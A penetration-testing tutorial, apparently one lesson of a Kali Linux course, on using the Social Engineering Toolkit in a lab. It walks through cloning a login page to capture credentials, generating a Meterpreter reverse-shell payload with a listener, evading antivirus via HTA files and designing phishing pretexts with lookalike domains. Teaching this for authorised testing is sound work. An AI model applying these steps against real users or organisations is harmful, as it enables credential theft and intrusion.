This article is a detailed technical guide to the Social Engineering Toolkit (SET), a Python-based framework used in authorised penetration testing to automate phishing and credential harvesting attacks. It covers SET's core components—credential harvesting through website cloning, spear-phishing email delivery, and payload generation—and explains why social engineering attacks bypass technical controls and succeed through human vulnerability. The material matters because it demonstrates to security professionals and their clients that even robust technical defences (DMARC, SPF, endpoint protection) fail when attackers target the human layer, making security awareness and proper incident response critical.
- Credential Harvester Cloning MechanismSET scrapes the complete HTML of a target login page and hosts a pixel-perfect clone on the attacker's web server, modifying only the form action to capture POST data. When a victim submits credentials to the cloned page, SET captures all form fields (username, password, and any other data), displays them in the terminal with "WE GOT A HIT!" notification, saves them to a timestamped report in /root/.set/reports/, and simultaneously redirects the victim to the real login page. This redirect is critical—the victim experiences only a single failed login followed by success on retry, preventing th
- Website Cloning Without Technical BypassSET does not bypass HTTPS or any cryptographic control. It functions by hosting an HTTP clone page, meaning the victim must navigate directly to the attacker's IP address or a domain controlled by the attacker—typically delivered via spear-phishing email with a lookalike domain name. The article emphasises that technical controls like DMARC, URL filtering, and endpoint protection are not bypassed but rather avoided: the email lands because the domain is new and lacks reputation, and the URL filters have no record against it. This distinction—avoiding rather than breaking technical controls—is
- Spear-Phishing Email Delivery IntegrationSET's Spear-Phishing Email Vector constructs malicious emails with embedded links to credential harvesters or attached payloads, with configurable sender address, subject, and body text. The module can send via local sendmail, SMTP (configured in /etc/setoolkit/set.config), or Gmail. The article emphasises that pretext design is separate from tool execution: the technical email delivery works only if the social engineering narrative is convincing. A mass email attack sends the link to multiple targets, but success depends on pretext selection (password expiry, MFA enrollment, IT survey) chosen
- HTA Payload Execution for Reverse ShellsSET can generate Windows reverse shell payloads (basic cmd.exe, Meterpreter, PowerShell, or HTTPS C2) and deliver them via HTML Application (.hta) files. HTA payloads execute through mshta.exe, a signed Windows binary, which allows many to bypass antivirus detection since the binary itself is trusted. SET auto-configures a Metasploit multi/handler listener waiting on the specified LHOST and LPORT. However, the article notes that generating the payload is trivial; the hard problem is the delivery pretext—making a victim run an unknown executable requires a believable filename and urgency narrat
- Redirect Strategy to Prevent Early DetectionAfter credential capture, SET can redirect victims to various destinations. The article warns that redirecting to a blank page or error immediately alerts the victim to compromise, causing them to report the attack to IT and terminating the campaign. The recommended strategy is redirecting to the real login page with a message such as "Session expired, please log in again," which causes victims to assume their session dropped naturally and log in normally without suspicion or reporting. This single design choice determines whether a multi-week campaign runs undetected or is discovered within m
- Pretext Design as Campaign FoundationThe article presents a structured pretext design exercise requiring selection of sender address and domain (with consideration of SPF/DKIM gaps), choice of target login page based on credential value (Office 365 vs. VPN vs. HR system), and selection of urgency narrative. Exercise 1 explicitly separates the pretext design phase from tool execution, emphasising that running SET without a convincing pretext is ineffective. The article states that in 200-person red team scenario, choosing a pretext like "password expiry" or "new MFA enrollment" for IT staff generates higher click rates than generi
- Reporting Metrics for Business ImpactThe article provides a sample finding structure that reports engagement metrics (emails sent, links clicked percentage, credentials captured, admin accounts compromised, time to first credential) alongside severity ratings (high, CVSS 8.1 for credential harvesting via phishing with user interaction). Remediation recommendations are separated into technical (DMARC enforcement, email sandboxing, MFA), process (verify-before-click culture, phone verification for sensitive requests), and training (annual phishing simulation with immediate feedback). This structure communicates risk to non-technica
- Authorization and Legal BoundaryThe article repeatedly emphasises that SET is designed exclusively for authorised penetration testing engagements—every exercise includes the disclaimer "Authorised Engagements Only" and "Phishing real targets without written authorisation is illegal." The distinction between using SET (authorised) and criminal phishing (using identical techniques without permission) is solely based on written consent from the target organisation. The technical mechanism is identical; only the legal status differs. All exercises target the user's own lab environment (DVWA on localhost) or explicitly authorised
Bottom line: SET demonstrates that technical security controls do not fail against social engineering attacks—they are bypassed by avoiding them entirely through convincing pretext, lookalike domains, and pixel-perfect website cloning. The critical lesson for practitioners is that the human layer is the decisive vulnerability, and defending it requires not patches but training, process discipline, and metered access controls that remain effective even when credentials are compromised.
Part of the 180-Day Kali Linux Mastery Course
✅ Before You Start
- Day 25 — BeEF-XSS — browser hooking via XSS. SET takes the same attack surface into the human layer: instead of hooking a browser through a vulnerability, we deliver the payload through a convincing phishing email or cloned site.
- Kali Linux running · Python3 + SET installed (pre-installed in Kali) · DVWA or your own test webserver for cloning
🎯 What You’ll Master in Day 26
⏱️ 40 min read · 3 exercises · Day 26 of 180
📋 Day 26 — SET Social Engineering Toolkit
SET sits at the intersection of ethical hacking methodology and web security — it automates the human-layer attacks that OWASP describes theoretically. The Phishing URL Scanner is the blue team tool that defends against exactly what SET creates. Understanding both sides is the approach I take in every engagement. The full tool reference is in the Kali Linux Commands reference.
SET Overview — Architecture and Attack Vectors
SET (Social Engineering Toolkit) is a Python-based framework created by TrustedSec. It automates the construction and delivery of social engineering attacks for authorised penetration testing. My most-used attack vectors are the Credential Harvester (clones a legitimate login page and captures submitted credentials) and the Spear-Phishing Email Vector (delivers a payload via crafted email). Both demonstrate the human attack surface to clients who believe technical controls alone are sufficient.
Credential Harvester — Clone and Capture
The Credential Harvester clones a target website’s login page, hosts it on my Kali machine, and captures any credentials submitted through the fake page — forwarding the victim to the real site afterwards so they don’t notice. The clone is pixel-perfect because SET scrapes the real HTML. The victim sees their normal login page, submits credentials, gets redirected to the real site, and never realises their password was captured.
⏱️ 15 minutes · No tools required
Before running any SET attack, I build the pretext on paper. The technical tool is worthless without a convincing reason for the victim to visit the page.
Scope: all employees, email phishing, credential harvesting allowed.
Goal: capture at least one set of admin credentials.
Design your campaign:
1. PRETEXT SELECTION
What email pretext gives the highest click rate for an IT audience?
Options: password expiry, new MFA enrollment, HR policy update, IT survey
Which do you pick and why?
2. SENDER SPOOFING
What sender address makes the pretext most convincing?
How do you register a lookalike domain for this company?
What SPF/DKIM gap allows your email to land in inbox vs spam?
3. LANDING PAGE CHOICE
Which login page do you clone — Office 365, VPN portal, internal HR system?
Which has the highest value credentials?
4. REDIRECT STRATEGY
After credential capture, where do you redirect the victim?
What message do you show to prevent suspicion?
5. METRICS
How do you measure campaign success beyond just credential count?
What’s your minimum success threshold to declare the campaign effective?
📸 Write your campaign design. Share in #kali-labs.
Spear-Phishing Email Attack Vector
SET’s Spear-Phishing module constructs a malicious email with an embedded payload — either a link to the credential harvester or an attached file that delivers a reverse shell. In authorised engagements, the spear-phishing vector is the delivery mechanism; the credential harvester is the payload destination. My workflow: clone the target login page, generate the email with a link to my harvester, deliver via SET’s mailer.
⏱️ 25 minutes · Kali Linux + DVWA running on localhost
Run the full credential harvester chain against your own DVWA instance. This is the exercise that makes the attack viscerally real — watching credentials appear in your terminal the moment they’re submitted.
Step 1: Launch SET
sudo setoolkit
Enter: 1 (Social-Engineering Attacks)
Enter: 2 (Website Attack Vectors)
Enter: 3 (Credential Harvester Attack Method)
Enter: 2 (Site Cloner)
Step 2: Configure the harvester
IP address for POST back: [your Kali IP from hostname -I]
URL to clone: http://localhost/dvwa/login.php
Wait for: “[*] Harvester is ready”
Step 3: Trigger the harvest
Open a SECOND browser tab
Visit: http://[YOUR KALI IP]/
You should see the cloned DVWA login page
Enter any username/password and submit
Step 4: Check the terminal
Switch back to SET terminal
Did “[*] WE GOT A HIT!” appear?
What username and password were captured?
Step 5: Check saved reports
Ctrl+C to stop (when done)
cat /root/.set/reports/2026*
Full credential log saved here
Document: screenshot of “[*] WE GOT A HIT!” with captured credentials.
📸 Screenshot showing “WE GOT A HIT!” with captured credentials. Share in #kali-labs. Tag #Day26SET
Payload Delivery — Executable and HTA Files
Beyond credential harvesting, SET can generate and deliver payloads that establish a reverse shell. The most reliable method in modern environments is the HTA (HTML Application) payload — it runs via Internet Explorer’s mshta.exe engine and bypasses many AV solutions because it uses a signed Windows binary. Combined with a convincing email pretext, the HTA delivery chain gives you code execution without touching disk in the traditional sense.
⏱️ 20 minutes · SET + Metasploit
Generate a reverse shell payload via SET and configure the multi/handler listener. The goal is understanding the full delivery chain — not executing against a real target, but understanding how each piece connects.
sudo setoolkit
Main → 1 (Social-Engineering) → 4 (Create Payload and Listener)
Select payload: 2 (Windows Reverse_TCP Meterpreter)
Enter your Kali IP for LHOST
Enter port: 4444
SET generates payload.exe and auto-starts listener
Step 2: Inspect the generated payload
ls -lh /root/.set/
file /root/.set/payload.exe
What type of file was generated?
Step 3: Examine the listener
SET opens msfconsole with multi/handler configured
show options — confirm LHOST, LPORT, PAYLOAD
Is it waiting for a connection?
Step 4: Understand the delivery gap
The payload.exe exists locally. In a real engagement:
– How would you deliver this to the target?
– What SET module handles the email delivery?
– What’s the social engineering pretext that makes them run it?
Step 5: Clean up
Ctrl+C → exit → rm /root/.set/payload.exe
Confirm listener stopped
Document: the payload type, LHOST, LPORT settings from the listener.
📸 Screenshot showing SET listener waiting for connection. Share in #kali-labs.
Reporting Social Engineering Findings
The SET report structure I use in authorised engagements documents the full chain — pretext, delivery, capture rate, and business impact — not just the technical mechanics. Clients need to understand what was possible, not just what tool was used.
📋 SET Command Reference — Day 26
🏆 Day 26 Complete — SET Social Engineering Toolkit
Credential harvester, site cloner, spear-phishing delivery, payload generation, and the reporting framework that communicates social engineering risk to non-technical stakeholders. Day 27 moves to Maltego — the OSINT and intelligence-gathering tool that provides the targeting data that makes SET attacks convincing. Check the Phishing URL Scanner to see what defenders use to detect the URLs SET creates.
🧠 Quick Check
❓ Frequently Asked Questions — SET Social Engineering Toolkit
What is the Social Engineering Toolkit (SET)?
How does SET’s Credential Harvester work?
What is the difference between SET and a real phishing attack?
Does SET’s credential harvester bypass HTTPS?
How do you defend against SET-style attacks?
Day 25: BeEF-XSS — Browser Exploitation Framework
Day 27: Maltego — OSINT and Intelligence Gathering
📚 Further Reading
- Day 25 — BeEF-XSS — The browser-side attack surface SET targets from the email layer. BeEF hooks browsers via XSS; SET delivers the hook via phishing. Together they cover the full browser exploitation chain.
- How Hackers Use Social Engineering 2026 — The complete seven-method social engineering framework. SET automates methods 1 (phishing) and part of method 4 (pretexting via credential harvesting). The other five methods give context for why SET findings matter in a full assessment.
- Phishing URL Scanner — The defender’s equivalent of SET’s harvester. Paste any suspicious URL to check it against threat intelligence before clicking — exactly what SET’s generated URLs would fail if scanned.
- SET GitHub — TrustedSec — The official SET repository. Source code, installation guide, configuration reference, and the active issue tracker. The README covers every attack vector with usage examples.
- TrustedSec — SET Official Documentation — Comprehensive SET documentation from the tool’s creators, including advanced configuration for SMTP, payload customisation, and campaign management features.

